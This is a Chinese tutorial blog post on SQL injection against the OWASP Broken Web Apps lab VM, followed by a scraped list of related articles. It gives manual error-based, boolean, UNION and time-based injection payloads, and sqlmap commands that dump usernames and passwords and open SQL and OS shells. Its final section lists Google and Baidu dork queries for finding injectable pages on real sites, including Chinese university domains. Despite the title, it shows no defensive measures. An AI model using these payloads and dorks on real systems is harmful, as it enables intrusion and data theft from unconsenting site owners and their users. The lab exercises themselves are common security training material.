SQL注入攻击及防御
SQL注入攻击及防御
1.项目实验环境
目标靶机OWASP_Broken_Web_App_VM_1.2:
https://sourceforge.net/projects/owaspbwa/files/latest/download
测试渗透机: Kali-Linux-VM-amd64
https://cdimage.kali.org/kali-2023.1/kali-linux-2023.1-vmware-amd64.7z
2.SQL注入危害
1、拖库导致用户数据泄漏;
2、危害web等应用的安全;
3、失去操作系统的控制权;
4、用户信息被非法买卖;
5、危害企业及国家的安全!
3.SQL基础回顾
3.1 登录OWASP
项目环境: OwASP
表1 : dvwa.users
表2 : wordpress.wp_users
表3 : mysql.user

3.2 查看数据库
# 查看所有数据库
show databases();
# 查看当前数据库
select database();
# 进入dvwa数据库
use dvwa;
3.3 查看库中的表
# 查看库中所有表
show tables;
3.4 查看表的结构
# 查看表的结构
desc users;
# 或者
describe users;
# 或者
show create table users\G # \G垂直显示
3.5 查看表的记录
# 查看表的记录
select * from users;
# 同
select * from users\G;
3.6 information_schema
information_schema信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。
# 查看所有的表的具体信息
select * from information_schema.tables\G
# 查看所有数据库,DISTINCT(去重)
select DISTINCT table_schema from information_schema.Tables;
# 等价于
show databases;
# 查看所有数据库跟表
select table_schema,table_name from information_schema.tables;
# 把数据库进行分组,组里面有相应的表
select table_schema,group_concat(table_name) from information_schema.tables group by table_schema\G
# 查看相应数据库里所有表
select table_name from information_schema.tables where table_schema='dvwa';
# 等价于
show tables;
==查询数据库库名、表名、字段名information_schema.columns=
# 查看所有的字段的具体信息
select * from information_schema.columns\G
# 查看所有字段名
select column_name from information_schema.columns;
# 查看指定数据库指定表的所有字段
select column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users';
# 查看用户权限表
select column_name from information_schema.columns where table_name = 'user_privileges';
# 数据库特权的信息
select column_name from information_schema.columns where table_name = 'schema_privileges';
4.SQL注入流程
1.判断是否有SQL注入漏洞;
2.判断操作系统、数据库和web应用的类型;
3.获取数据库信息,包括管理员信息及拖库;
4.加密信息破解,sqlmap可自动破解;
5.提升权限,获得sql-shell、os-shell、登录应用后台;
5.手动注入实战
5.1基于错误的注入
错误注入的思路是通过构造特殊的sq1语句,根据得到的错误信息,确认sq1注入点;
通过数据库报错信息,也可以探测到数据库的类型和其他有用信息。
通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是MySQL数据库。


当前面sql所使用的库为dvwa
搜索框正常输入 1

sql语法解析:
select first_name,last_name from dvwa.users;
select first_name,last_name from dvwa.users where user_id = '1';

# 页面报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
# sql注入语法解析:
select first_name,last_name from dvwa.users where user_id = ''';
5.2 基于布尔的注入
布尔逻辑注入的思路是闭合SQL语句、构造or和and逻辑语句、注释多余的代码;

# 原始语句
select first_name,last_name from dvwa.users where user_id = '';
# sql注入语句解析:' or 1=1 -- '
select first_name,last_name from dvwa.users where user_id = ' ' or 1=1 -- ' ';
# 说明:
# 第一个' 用于闭合前面的条件
# or 1-1为真的条件
# --空格 将注释后面的所有语句
5.3 基于UNION注入
UNION语句用于联合前面的SELECT查询语句,合并查询更多信息;
一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息。
-- 猜测数据列数
'union select 1 -- '
'union select 1,2 -- '
'union select 1,2,3 -- '
'union select 1,2,3,4 -- '
-- SQL注入语句解析:
select first_name,last_name from dvwa.users where user_id ='' union select 1 -- ''
select first_name,last_name from dvwa.users where user_id ='' union select 1,2 -- ''
-- 获得当前数据库及用户信息
'union select version(), database() -- '
'union select user(), database( ) -- '
select first_name,last_name from dvwa.users where user_id =''union select version(),database() -- ''
select first_name,last_name from dvwa.users where user_id =''union select user(),database() -- ''
-- 说明
version() # 获得数据库版本信息
database() # 获得当前数据库名
user() # 获得当前用户名
-- SQL注入语法解析:
select * from information_schema.TABLES\G
-- 查询所有库名
select first_name,last_name from dvwa.users where user_id = ''union select table_schema,1 from information_schema.tables -- ''
-- 查看所库中所有表名
select first_name,last_name from dvwa.users where user_id = ''union select table_name,1 from information_schema.tables -- ''
-- 同时查询表名及对应库名
select first_name,last_name from dvwa.users where user_id = ''union select table_schema,table_name from information_schema.tables -- ''
**
**

同样可以用information_schema.columns
5.4 基于时间的盲注
有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点。
没反应


# sql注入语法解析:
select first_name,last_name from dvwa.users where user_id = '1' and sleep(5) -- '
6.sqlmap自动化注入
SQL注入比较好用的工具,首推开源工具SQLmap. SQLmap是 一个国内外著名的安全稳定性测试工具,可以用来进行自动
化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳
定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系
统命令。
SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, sQLite,Firebird, Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

6.1 GET方法注入,POST方法注入
get方式就是页面上能看的到的参数,利用页面能看得到得参数进行注入,比如www.abc.com/index.php?id=1 中id=1 就是能用get方式
POST方式,在浏览器中已经无法查看注入点位置。


sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' -p 'usernam'
-u 指定一个url连接,url中必须有?xx=xx 才行(最常用的参数)例:-u "www.abc.com/index.php?id=1"
-p:指定参数进行扫描,不是扫描所有参数,这样可以避免浪费时间到非注入点参数上,从而提高扫描效率。

# 列出所有数据库
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --dbs
--dbs 枚举DBMS所有的数据库


# 列出所有用户
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --users
--users 枚举目标DBMS所有的用户
--current-user 查询目标DBMS当前用户
--current-db 查询目标DBMS当前数据库



-u 指定一个url连接,url中必须有?xx=xx 才行(最常用的参数)例:-u "www.abc.com/index.php?id=1"
-p:指定参数进行扫描,不是扫描所有参数,这样可以避免浪费时间到非注入点参数上,从而提高扫描效率。
--dbs 枚举DBMS所有的数据库
--dbms= 指定具体DBMS
--users 枚举目标DBMS所有的用户
--current-user 查询目标DBMS当前用户
--current-db 查询目标DBMS当前数据库
-D db 指定进行枚举的数据库名称
-T table 指定进行枚举的数据库表名称
-C column 指定进行枚举的数据库列名称
--tables 枚举DBMS数据库中所有的表
--dump 存储DBMS数据库的表中的条目
--dump-all 存储DBMS所有数据库表中的条目
--exclude-sysdbs 枚举表时排除系统数据库
--columns 枚举DBMS数据库表中所有的列
--batch 测试过程中, 执行所有默认配置
# 实例步骤
# 1.获得当前数据库
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --batch --current-db
# 2.获得数据库表
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --batch -D nowasp --tables
# 3.获得表的字段
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --batch -D nowasp -T accounts --columns
# 4.获得表中的数据
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --batch -D nowasp -T accounts -C'username,password' --dump
6.2 Cookie
有些网址注入点在里面就需要带cookie才能访问的注入页面,--cookie=" "

# cookie = "
acgroupswithpersist: nada;
acopendivids: swingset,jotto,phpbb2,redmine;
PHPSESSID: 706kv7odf502nk5qdrrid3b856;
security: low
"
sqlmap -u "http://192.168.1.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="acgroupswithpersist=nada;acopendivids=swingset,jotto,phpbb2,redmine; \
PHPSESSID=706kv7odf502nk5qdrrid3b856;security=low" --batch -p 'id'
6.3 提权操作
# --sql-shell 与数据库交互
# --os-cmd= 执行操作系统命令
# --os-shell 交互式的系统shell
sqlmap -u "http://192.168.1.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="acgroupswithpersist=nada;acopendivids=swingset,jotto,phpbb2,redmine; \
PHPSESSID=706kv7odf502nk5qdrrid3b856;security=low" --batch -p 'id' --sql-shell

sql-shell> select * from users;

6. 综合案例
1. 通过Google搜索可能存在注入的页面
inurl:.php?id=
inurl:.jsp?id=
inurl:.asp?id=
inurl:/admin/login.php
inurl:.php?id= intitle:美女
2. 通过百度搜索可能存在注入的页面
inurl:news.asp?id= site:edu.cn
inurl:news.php?id= site :edu.cn
inurl:news.aspx?id= site:edu.cn
SQL注入攻击及防御的更多相关文章
- 《sql注入攻击与防御 第2版》的总结 之 如何确定有sql注入漏洞
看完<sql注入攻击与防御 第2版>后,发现原来自己也能黑网站了,就一个字:太爽了. 简单总结一下入侵步骤: 1.确定是否有sql注入漏洞 2.确定数据库类型 3.组合sql语句,实施渗透 ...
- SQL注入攻击和防御
部分整理... 什么是SQL注入? 简单的例子, 对于一个购物网站,可以允许搜索,price小于某值的商品 这个值用户是可以输入的,比如,100 但是对于用户,如果输入,100' OR '1'=' ...
- SQL参数化查询--最有效可预防SQL注入攻击的防御方式
参数化查询(Parameterized Query 或 Parameterized Statement)是访问数据库时,在需要填入数值或数据的地方,使用参数 (Parameter) 来给值. 在使用参 ...
- web服务端安全之SQL注入攻击
一.SQL注入攻击的原理攻击者在HTTP请求中,注入恶意的SQL代码,并在服务端执行.比如用户登录,输入用户名camille,密码 ' or '1'='1 ,如果此时使用参数构造的方式,就会出现 ' ...
- 实例讲解 SQL 注入攻击
这是一篇讲解SQL注入的实例文章,一步一步跟着作者脚步探索如何注入成功,展现了一次完整的渗透流程,值得一读.翻译水平有限,见谅! 一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试. ...
- Java程序员从笨鸟到菜鸟之(一百零二)sql注入攻击详解(三)sql注入解决办法
sql注入攻击详解(二)sql注入过程详解 sql注入攻击详解(一)sql注入原理详解 我们了解了sql注入原理和sql注入过程,今天我们就来了解一下sql注入的解决办法.怎么来解决和防范sql注入, ...
- 防止SQL注入攻击的一些方法小结
SQL注入攻击的危害性很大.在讲解其防止办法之前,数据库管理员有必要先了解一下其攻击的原理.这有利于管理员采取有针对性的防治措施. 一. SQL注入攻击的简单示例. statement := &quo ...
- SQL注入攻击的种类和防范手段
观察近来的一些安全事件及其后果,安全专家们已经得到一个结论,这些威胁主要是通过SQL注入造成的.虽然前面有许多文章讨论了SQL注入,但今天所讨论的内容也许可帮助你检查自己的服务器,并采取相应防范措施. ...
- php过滤提交数据 防止sql注入攻击
规则 1:绝不要信任外部数据或输入 关于 Web 应用程序安全性,必须认识到的第一件事是不应该信任外部数据.外部数据(outside data) 包括不是由程序员在 PHP 代码中直接输入的任何数据. ...
- CSRF、XSS、clickjacking、SQL 的攻击与防御
CSRF攻击 原理: 跨站请求伪造.是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法. 网站通过cookie来实现登录功能.而cookie只要存在浏览器中,那么浏览器在访问含有这 ...
随机推荐
- linux开发vue项目,不能热更新?
只需要运行下面的命令即可: echo fs.inotify.max_user_watches=524288 | sudo tee -a /etc/sysctl.conf && sudo ...
- SpringBoot-Http请求工具类
一.编写请求配置类 import com.alibaba.fastjson.JSONObject; import org.springframework.context.annotation.Conf ...
- 支持4k的远程桌面软件有哪些
在当今的数字时代,在全球向灵活工作安排和分布式团队转变的推动下,对远程工作解决方案的需求猛增.远程桌面软件已成为寻求让员工能够在任何地方工作的企业的重要工具.在用户在此类软件中寻求的众多功能中,对 4 ...
- 鸿蒙HarmonyOS实战-Stage模型(服务卡片的模块和创建)
一.服务卡片的模块和创建 在HarmonyOS中,服务卡片是一种提供即时信息和快速操作的小组件,类似于Android中的通知栏.服务卡片可以显示各种类型的信息,包括通知.天气.日历事件.音乐播放器.快 ...
- k8s其它学习链接
k8s弹性伸缩概念以及测试用例 https://www.cnblogs.com/jasonboren/p/11493347.html CKA看这一篇就够了 k8s官网 k8s基础之六 有状态和无状态的 ...
- Linux安装Logstash
Logstash安装 一.上传解压重命名 将Logstash压缩包上传到/home/下解压压缩包并重命名 [root@localhost home] tar -zxf logstash-7.15.0- ...
- Google出品的NotebookLM 人工智能笔记本,一款基于RAG的personalized AI产品
Google推出了实验性的NotebookLM产品,一款基于RAG的个性化AI助手产品,基于用户提供的可信信息,通过RAG,帮助用户洞察和学习参考内容,然后借助AI整理笔记,转换为用户最终需要的大纲. ...
- Linux进程Fork详解
一. fork函数详解 一个进程,包括代码.数据和分配给进程的资源.fork()函数通过系统调用创建一个与原来进程几乎完全相同的进程,也就是两个进程可以做完全相同的事,但如果初始参数或者传入的变量不同 ...
- ChatTTS,语气韵律媲美真人的开源TTS模型,文字转语音界的新魁首,对标微软Azure-tts
前两天 2noise 团队开源了ChatTTS项目,并且释出了相关的音色模型权重,效果确实非常惊艳,让人一听难忘,即使摆在微软的商业级项目Azure-tts面前,也是毫不逊色的. ChatTTS是专门 ...
- js 禁用右键菜单和禁止复制
大江东去,浪淘尽,千古风流人物.故垒西边,人道是,三国周郎赤壁.乱石穿空,惊涛拍岸,卷起千堆雪.江山如画,一时多少豪杰.遥想公瑾当年,小乔初嫁了,雄姿英发.羽扇纶巾,谈笑间,樯橹灰飞烟灭.故国神游,多 ...